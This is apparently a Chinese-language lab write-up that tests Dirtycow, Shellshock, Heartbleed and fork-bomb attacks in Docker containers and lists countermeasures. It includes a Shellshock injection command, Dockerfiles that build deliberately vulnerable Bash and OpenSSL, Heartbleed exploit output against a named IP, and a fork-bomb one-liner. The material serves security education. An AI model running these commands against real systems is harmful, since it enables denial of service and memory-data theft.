在 Docker 環境下,Dirtycow 漏洞利用記憶體對映機制,繞過許可權限制修改檔案內容。Shellshock 漏洞則藉由惡意環境變數執行任意程式碼。Heartbleed 漏洞允許攻擊者讀取伺服器記憶體中的敏感資訊。針對這些漏洞,我們可以透過更新 OpenSSL 版本、重新編譯應用程式、更換金鑰憑證等方式來降低風險。此外,使用唯讀模式執行容器、限制行程數量,以及監控系統資源,也能有效提升 Docker 環境的安全性,防止 Fork-bomb 等攻擊。

4. 實驗驗證與分析

4.2 漏洞驗證與實作分析

4.2.1 Dirtycow 漏洞驗證

本文將探討 Dirtycow 漏洞在 Docker 環境下的表現。Dirtycow 是一種 Linux 核心漏洞,能夠讓攻擊者修改只讀記憶體對映。

首先,在 Docker 環境中執行 Dirtycow 漏洞測試:

ubuntu@ip-172-31-18-214:~/dirtycow$ docker run --rm -it --security-opt apparmor:docker-default dirtycow

進入容器後,檢視檔案許可權:

cow@f6cd8607321d:~$ ls -la
total 28
drwxr-xr-x 2 cow cow 4096 Jun 5 15:56 .
drwxr-xr-x 3 root root 4096 May 9 07:43 ..
-rw-r--r-- 1 cow cow 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 cow cow 2826 Jun 5 15:56 dirtyc0w.c
-r
---
--r-- 1 root root 19 May 9 07:54 foo

嘗試修改 foo 檔案內容,但由於許可權不足而失敗:

cow@f6cd8607321d:~$ echo cow wrote this > foo
bash: foo: Permission denied

編譯並執行 Dirtycow 漏洞利用程式:

cow@f6cd8607321d:~$ gcc -pthread dirtyc0w.c -o dirtyc0w
cow@f6cd8607321d:~$ ./dirtyc0w foo dirtycowWroteThis
mmap 7ff7f4b6f000

程式碼解析

Dirtycow 漏洞利用程式碼 dirtyc0w.c 的主要邏輯如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

// 省略部分程式碼

int main(int argc, char *argv[]) {
    // ...
}

內容解密:

  1. 程式碼利用 mmap 系統呼叫將檔案對映到記憶體中。
  2. 使用多執行緒技術競爭寫入只讀記憶體對映。
  3. 成功修改只讀檔案內容,繞過許可權限制。

4.2.2 Shellshock 漏洞驗證

本文探討 Shellshock 漏洞在 Docker 環境下的表現。Shellshock 是 Bash 的一個嚴重漏洞,能夠讓攻擊者執行任意命令。

在 Hypervisor-based 虛擬機器和 AWS-based 環境中,Bash 版本均為 4.3.11(1),存在 Shellshock 漏洞:

ubuntu@template:~$ /bin/bash --version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)

驗證 Shellshock 漏洞:

ubuntu@template:~$ env x='() { :;}; echo shellshock' bash -c "echo testing"
shellshock
testing

在 Docker 環境中執行預設的 Ubuntu 映象,Bash 版本更新為 4.3.46(1),已修補 Shellshock 漏洞:

ubuntu@ip-172-31-26-42:~$ docker run -it ubuntu bash
root@44ce051d8c7f:/# /bin/bash --version
GNU bash, version 4.3.46(1)-release (x86_64-pc-linux-gnu)

為了驗證 Shellshock 漏洞,需要建立一個存在漏洞的 Docker 映象。Thibault Normand 提供了一個根據 Ubuntu 14.04 的 Dockerfile,用於建立存在 Shellshock 漏洞的 Docker 映象。

Dockerfile 解析

以下是用於建立存在 Shellshock 漏洞的 Docker 映象的 Dockerfile:

FROM ubuntu:14.04
MAINTAINER Thibault NORMAND <me@zenithar.org>

# 安裝 vulnerable bash
RUN apt-get install -y build-essential wget
RUN wget https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz && \
    tar zxvf bash-4.3.tar.gz && \
    cd bash-4.3 && \
    ./configure && \
    make && \
    make install

圖表翻譯:

此 Dockerfile 從 Ubuntu 14.04 映象開始,安裝必要的編譯工具,下載並編譯存在漏洞的 Bash 版本。

防範措施

為了防止 Shellshock 攻擊,可以透過組態 Docker 環境來建立一個安全的應用環境。Shellshock 漏洞利用 Linux 環境變數來定義攻擊並附加到環境變數中。透過為容器映象提供預定義的環境變數列表,可以減少潛在的安全風險。

4.2 漏洞利用列表與解析

4.2.1 Shellshock 漏洞

首先,我們使用 Docker 建立一個容易受到 Shellshock 攻擊的容器。

建立與執行易受攻擊的容器

ubuntu@ip-172-31-26-42:~$ docker build -t docker-shellshockable:latest .
ubuntu@ip-172-31-26-42:~$ docker run -it docker-shellshockable bash

檢查 Bash 版本

root@70fa62d58526:/# /bin/bash --version
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

利用 Shellshock 漏洞

root@70fa62d58526:/# env x='() { :;}; echo shellshock' bash -c "echo testing"
shellshock
testing

內容解密:

  1. docker builddocker run 命令用於建立和執行一個包含易受攻擊的 Bash 版本的容器。
  2. /bin/bash --version 用於檢查容器內的 Bash 版本,確認其為易受攻擊的版本(4.3.11)。
  3. env x='() { :;}; echo shellshock' bash -c "echo testing" 是利用 Shellshock 漏洞的命令。透過設定一個特殊的環境變數 x,攻擊者可以執行任意程式碼(在此例中為輸出 shellshock)。

4.2.2 加強 Docker 安全性

為了防止攻擊者對容器進行永久性更改,可以使用 --read-only 選項以唯讀模式執行容器。

使用唯讀模式執行 Docker

docker run -d --read-only IMAGE

內容解密:

  1. --read-only 選項使容器的檔案系統變為唯讀,防止攻擊者在容器內進行任何寫入操作。
  2. 這種方式可以有效防止惡意程式碼對容器環境進行持久化修改。

4.2.3 Heartbleed 漏洞

Heartbleed 是 OpenSSL 中的一個嚴重漏洞,允許攻擊者讀取比預期更多的記憶體內容。

建立 Heartbleed 漏洞環境

以下是一個用於建立 Heartbleed 漏洞環境的 Dockerfile:

FROM ubuntu:14.04

RUN apt-get update
RUN apt-get install -y build-essential wget

WORKDIR /heartbleed

RUN wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1e.tar.gz && \
    tar xf openssl-1.0.1e.tar.gz

RUN wget https://nginx.org/download/nginx-1.10.2.tar.gz && \
    tar xf nginx-1.10.2.tar.gz && \
    cd nginx-1.10.2 && \
    ./configure --with-http_ssl_module \
                --prefix=/etc/nginx/ \
                --sbin-path=/usr/bin \
                --without-http_gzip_module \
                --with-openssl=/heartbleed/openssl-1.0.1e \
                --without-pcre \
                --with-threads \
                --without-http_rewrite_module && \
    make && \
    make install

RUN cd openssl-1.0.1e && \
    ./config && \
    make && \
    make install_sw

COPY nginx.conf /etc/nginx/conf/nginx.conf
RUN mkdir /etc/nginx/certs
COPY cert.pem /etc/nginx/certs/cert.pem
COPY key.pem /etc/nginx/certs/key.pem

EXPOSE 443

CMD ["nginx", "-g", "daemon off;"]

內容解密:

  1. 此 Dockerfile 根據 Ubuntu 14.04,安裝了編譯 Nginx 和 OpenSSL 所需的工具。
  2. 下載並編譯了易受 Heartbleed 攻擊的 OpenSSL 版本(1.0.1e)和 Nginx。
  3. 組態 Nginx 使用 SSL 模組,並將證書和私鑰複製到指定目錄。
  4. 暴露 443 埠並設定 Nginx 為前台執行。

使用 NMap 掃描 Heartbleed 漏洞

可以使用 NMap 的 ssl-heartbleed 指令碼掃描目標主機是否存在 Heartbleed 漏洞。

nmap -p 443 --script ssl-heartbleed 13.58.99.98

內容解密:

  1. -p 443 指定掃描的埠為 443(HTTPS)。
  2. --script ssl-heartbleed 使用 ssl-heartbleed 指令碼檢查目標主機是否易受 Heartbleed 攻擊。
  3. 如果目標主機存在漏洞,NMap 將報告其為 VULNERABLE 狀態,並提供相關的風險因素和參考連結。

Heartbleed 漏洞分析與防範措施

Heartbleed 是一種嚴重影響 OpenSSL 加密軟體函式庫的漏洞,允許駭客竊取本應受 SSL/TLS 加密保護的資訊。該漏洞存在於 OpenSSL 的 1.0.1 和 1.0.2-beta 版本中,包括 1.0.1f 和 1.0.2-beta1 等特定版本。

Nmap Heartbleed 指令碼掃描結果分析

使用 Nmap 7.40 版本對目標主機進行掃描,結果顯示目標主機(129.241.208.54)存在 Heartbleed 漏洞。

Nmap scan report for dhcp208-54.ed.ntnu.no (129.241.208.54)
Host is up (0.00047s latency).
PORT STATE SERVICE
443/tcp open https
| SSL-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library.

詳細掃描結果解讀

掃描結果顯示目標主機的 443/tcp 連線埠開放了 HTTPS 服務,並且存在 Heartbleed 漏洞。掃描報告詳細描述了漏洞的風險程度、受影響的 OpenSSL 版本以及相關的參考連結。

利用 Heartbleed 漏洞的攻擊範例

使用 Jared Stafford 的 Heartbleed 攻擊範例指令碼對目標主機進行測試,結果顯示目標主機(129.241.208.54)存在漏洞。

$ python2.7 heartbleed_jared_stafford.py 129.241.208.54
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 686
... received message: type = 22, ver = 0302, length = 203
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
WARNING: server returned more data than it should - server is vulnerable!

程式碼詳解

該攻擊指令碼利用 Heartbleed 漏洞,向目標主機傳送惡意的 Heartbeat 請求,並接收伺服器回應的過長資料,從而竊取敏感資訊。

防範 Heartbleed 漏洞的措施

  1. 更新 OpenSSL 版本:將 OpenSSL 更新至不受漏洞影響的版本。
  2. 重新編譯應用程式二進位檔:重新編譯與 OpenSSL 相關的應用程式二進位檔。
  3. 更換金鑰和憑證:更換與受影響的 OpenSSL 版本相關的金鑰和憑證。
  4. 使用安全功能限制記憶體存取:使用 AppArmor、SELinux 或 Docker 等安全功能限制 OpenSSL 二進位檔的記憶體存取許可權。

Fork-bomb 攻擊分析與防範

Fork-bomb是一種惡意的 Unix 系統命令,旨在耗盡系統資源,使系統當機或無法正常運作。

Fork-bomb 程式碼範例

:(){ :|:& };:

防範 Fork-bomb 的措施

  1. 限制行程數量:使用 Linux 核心的功能限制使用者或系統的行程數量。
  2. 監控系統資源:定期監控系統資源使用情況,以便及時發現異常。
  3. 使用 while 迴圈記錄行程數量:使用 while 迴圈記錄系統行程數量,以便監控系統資源使用情況。
$ while true; do { echo $(ps -ax | wc -l); date; } >> pid.log; sleep .05; done &

紀錄輸出結果分析

紀錄輸出結果顯示系統行程數量的變化,從而幫助管理員監控系統資源使用情況。

3 Tue Nov 1 01:41:19 UTC 2016
...
188 Tue Nov 1 01:41:22 UTC 2016
196 Tue Nov 1 01:41:23 UTC 2016
4 Tue Nov 1 01:41:39 UTC 2016
...

透過上述分析與防範措施,可以有效降低 Heartbleed 和 Fork-bomb 等安全威脅的風險,保護系統和資料的安全。